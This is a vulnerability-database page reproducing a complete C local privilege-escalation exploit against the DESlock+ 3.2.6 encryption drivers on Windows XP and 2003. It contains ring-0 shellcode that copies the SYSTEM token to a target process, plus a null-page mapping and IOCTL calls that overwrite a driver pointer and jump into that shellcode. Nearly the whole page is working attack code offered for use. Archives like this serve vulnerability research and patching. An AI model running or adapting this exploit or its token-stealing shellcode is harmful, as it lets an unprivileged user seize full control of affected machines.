Vulners
Lucene search
DESlock+ <= 3.2.6 local kernel ring0 link list zero SYSTEM Exploit
==================================================================
DESlock+ <= 3.2.6 local kernel ring0 link list zero SYSTEM Exploit
==================================================================
/* deslock-list-zero-v2.c
*
* Copyright (c) 2008 by <[email protected]>
*
* DESlock+ <= 3.2.6 local kernel ring0 link list zero SYSTEM exploit
* by mu-b - Fri 28 Dec 2007
*
* - Tested on: DLMFENC.sys 1.0.0.26, DLMFDISK.sys 1.2.0.27
* - Microsoft Windows 2003 SP2
* - Microsoft Windows XP SP2
*
* Compile: MinGW + -lntdll
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs [email protected]$!
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <ddk/ntapi.h>
#define DLMFENC_IOCTL 0x0FA4204C
#define DLMFENC_FLAG 0xC001D00D
#define DLKFDISK_R_IOCTL 0x80002008
#define DLKFDISK_SLOT 0x00000C5C
#define ARG_SIZE(a) ((a)/sizeof (void *))
static unsigned char win32_fixup[] =
"\x53"
"\xeb\x0e"
/* _fixup_copy */
"\x5e"
"\xbf\x5c\x0c\x00\x00"
"\x31\xc9"
"\xb1\x04"
"\xf3\xa5"
"\xeb\x15"
/* _fixup_blk */
"\xe8\xed\xff\xff\xff"
"\x64\x0a\x00\x00"
"\xd3\x0a\x00\x00"
"\x2a\x0a\x00\x00"
"\x49\x0a\x00\x00";
/* Win2k3 SP1/2 - kernel EPROCESS token switcher
* by mu-b <[email protected]>
*/
static unsigned char win2k3_ring0_shell[] =
/* _ring0 */
"\xb8\x24\xf1\xdf\xff"
"\x8b\x00"
"\x8b\xb0\x18\x02\x00\x00"
"\x89\xf0"
/* _sys_eprocess_loop */
"\x8b\x98\x94\x00\x00\x00"
"\x81\xfb\x04\x00\x00\x00"
"\x74\x11"
"\x8b\x80\x9c\x00\x00\x00"
"\x2d\x98\x00\x00\x00"
"\x39\xf0"
"\x75\xe3"
"\xeb\x21"
/* _sys_eprocess_found */
"\x89\xc1"
"\x89\xf0"
/* _cmd_eprocess_loop */
"\x8b\x98\x94\x00\x00\x00"
"\x81\xfb\x00\x00\x00\x00"
"\x74\x10"
"\x8b\x80\x9c\x00\x00\x00"
"\x2d\x98\x00\x00\x00"
"\x39\xf0"
"\x75\xe3"
/* _not_found */
"\xcc"
/* _cmd_eprocess_found
* _ring0_end */
/* copy tokens!$%! */
"\x8b\x89\xd8\x00\x00\x00"
"\x89\x88\xd8\x00\x00\x00"
"\x90";
static unsigned char winxp_ring0_shell[] =
/* _ring0 */
"\xb8\x24\xf1\xdf\xff"
"\x8b\x00"
"\x8b\x70\x44"
"\x89\xf0"
/* _sys_eprocess_loop */
"\x8b\x98\x84\x00\x00\x00"
"\x81\xfb\x04\x00\x00\x00"
"\x74\x11"
"\x8b\x80\x8c\x00\x00\x00"
"\x2d\x88\x00\x00\x00"
"\x39\xf0"
"\x75\xe3"
"\xeb\x21"
/* _sys_eprocess_found */
"\x89\xc1"
"\x89\xf0"
/* _cmd_eprocess_loop */
"\x8b\x98\x84\x00\x00\x00"
"\x81\xfb\x00\x00\x00\x00"
"\x74\x10"
"\x8b\x80\x8c\x00\x00\x00"
"\x2d\x88\x00\x00\x00"
"\x39\xf0"
"\x75\xe3"
/* _not_found */
"\xcc"
/* _cmd_eprocess_found
* _ring0_end */
/* copy tokens!$%! */
"\x8b\x89\xc8\x00\x00\x00"
"\x89\x88\xc8\x00\x00\x00"
"\x90";
static unsigned char win32_ret[] =
"\x5b"
"\x31\xff"
"\xb8\xdc\x0b\x00\x00"
"\xff\xe0"
"\xcc";
struct ioctl_req {
void *arg[ARG_SIZE(0x20)];
};
static PCHAR
fixup_ring0_shell (PVOID base, DWORD ppid, DWORD *zlen)
{
DWORD dwVersion, dwMajorVersion, dwMinorVersion;
dwVersion = GetVersion ();
dwMajorVersion = (DWORD) (LOBYTE(LOWORD(dwVersion)));
dwMinorVersion = (DWORD) (HIBYTE(LOWORD(dwVersion)));
if (dwMajorVersion != 5)
{
fprintf (stderr, "* GetVersion, unsupported version\n");
exit (EXIT_FAILURE);
}
*(PDWORD) &win32_fixup[5] += (DWORD) base;
*(PDWORD) &win32_fixup[22] += (DWORD) base;
*(PDWORD) &win32_fixup[26] += (DWORD) base;
*(PDWORD) &win32_fixup[30] += (DWORD) base;
*(PDWORD) &win32_fixup[34] += (DWORD) base;
*(PDWORD) &win32_ret[4] += (DWORD) base;
switch (dwMinorVersion)
{
case 1:
*zlen = sizeof winxp_ring0_shell - 1;
*(PDWORD) &winxp_ring0_shell[55] = ppid;
return (winxp_ring0_shell);
case 2:
*zlen = sizeof win2k3_ring0_shell - 1;
*(PDWORD) &win2k3_ring0_shell[58] = ppid;
return (win2k3_ring0_shell);
default:
fprintf (stderr, "* GetVersion, unsupported version\n");
exit (EXIT_FAILURE);
}
return (NULL);
}
static PVOID
get_module_base (void)
{
PSYSTEM_MODULE_INFORMATION_ENTRY pModuleBase;
PSYSTEM_MODULE_INFORMATION pModuleInfo;
DWORD i, num_modules, status, rlen;
PVOID result;
status = NtQuerySystemInformation (SystemModuleInformation, NULL, 0, &rlen);
if (status != STATUS_INFO_LENGTH_MISMATCH)
{
fprintf (stderr, "* NtQuerySystemInformation failed, 0x%08X\n", status);
exit (EXIT_FAILURE);
}
pModuleInfo = (PSYSTEM_MODULE_INFORMATION) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, rlen);
status = NtQuerySystemInformation (SystemModuleInformation, pModuleInfo, rlen, &rlen);
if (status != STATUS_SUCCESS)
{
fprintf (stderr, "* NtQuerySystemInformation failed, 0x%08X\n", status);
exit (EXIT_FAILURE);
}
num_modules = pModuleInfo->Count;
pModuleBase = &pModuleInfo->Module[0];
result = NULL;
for (i = 0; i < num_modules; i++, pModuleBase++)
if (strstr (pModuleBase->ImageName, "dlkfdisk.sys"))
{
result = pModuleBase->Base;
break;
}
HeapFree (GetProcessHeap (), HEAP_NO_SERIALIZE, pModuleInfo);
return (result);
}
static void
xor_mask_req (struct ioctl_req *req)
{
DWORD i, pid;
PCHAR ptr;
pid = GetCurrentProcessId ();
for (i = 0, ptr = (PCHAR) req; i < 0x0C; i++, ptr++)
*ptr ^= pid;
}
int
main (int argc, char **argv)
{
struct ioctl_req req;
DWORD dResult, rlen, zpage_len, zlen, ppid;
LPVOID zpage, zbuf, base;
CHAR rbuf[64];
HANDLE hFile;
BOOL bResult;
printf ("DESlock+ <= 3.2.6 local kernel ring0 link list zero SYSTEM exploit\n"
"by: <[email protected]>\n"
"http://www.digit-labs.org/ -- Digit-Labs [email protected]$!\n\n");
if (argc <= 1)
{
fprintf (stderr, "Usage: %s <processid to elevate>\n", argv[0]);
exit (EXIT_SUCCESS);
}
ppid = atoi (argv[1]);
hFile = CreateFileA ("\\\\.\\DLKPFSD_Device", FILE_EXECUTE,
FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
exit (EXIT_FAILURE);
}
zpage_len = 0x7FFF;
zpage = (LPVOID) 0x00000001;
dResult = NtAllocateVirtualMemory ((HANDLE) -1, &zpage, 0, &zpage_len,
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
if (dResult != STATUS_SUCCESS)
{
fprintf (stderr, "* NtAllocateVirtualMemory failed\n");
exit (EXIT_FAILURE);
}
printf ("* allocated page: 0x%08X [%d-bytes]\n",
zpage, 0x7FFF);
base = get_module_base ();
if (base == NULL)
{
fprintf (stderr, "* unable to find dlkfdisk.sys base\n");
exit (EXIT_FAILURE);
}
printf ("* dlkfdisk.sys base: 0x%08X\n", base);
memset (zpage, 0xCC, 0x7FFF);
zbuf = fixup_ring0_shell (base, ppid, &zlen);
memcpy ((LPVOID) zpage, win32_fixup, sizeof (win32_fixup) - 1);
memcpy ((LPVOID) (zpage + sizeof (win32_fixup) - 1), zbuf, zlen);
memcpy ((LPVOID) (zpage + sizeof (win32_fixup) + zlen - 1),
win32_ret, sizeof (win32_ret) - 1);
memset (&req, 0, sizeof req);
req.arg[0] = (void *) DLMFENC_FLAG;
req.arg[1] = (void *) 0x12;
req.arg[2] = (void *) (base + DLKFDISK_SLOT); /* overwrite pointer */
printf ("* overwriting [@0x%08X %d-bytes].. ",
base + DLKFDISK_SLOT, 16);
xor_mask_req (&req);
bResult = DeviceIoControl (hFile, DLMFENC_IOCTL,
&req, sizeof req, &req, sizeof req, &rlen, 0);
if (!bResult)
{
fprintf (stderr, "DeviceIoControl failed\n");
exit (EXIT_FAILURE);
}
printf ("done\n");
CloseHandle (hFile);
hFile = CreateFileA ("\\\\.\\DLKFDisk_Control", FILE_EXECUTE,
FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
exit (EXIT_FAILURE);
}
/* jump to our address :) */
printf ("* jumping.. ");
bResult = DeviceIoControl (hFile, DLKFDISK_R_IOCTL,
&rbuf, sizeof rbuf, &rbuf, sizeof rbuf, &rlen, 0);
if (!bResult)
{
fprintf (stderr, "DeviceIoControl failed\n");
exit (EXIT_FAILURE);
}
printf ("done\n\n"
"* hmmm, you didn't STOP the box?!?!\n");
CloseHandle (hFile);
return (EXIT_SUCCESS);
}
# 0day.today [2018-03-19] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
18 Feb 2008 00:00Current
6.8Medium risk
Vulners AI Score6.8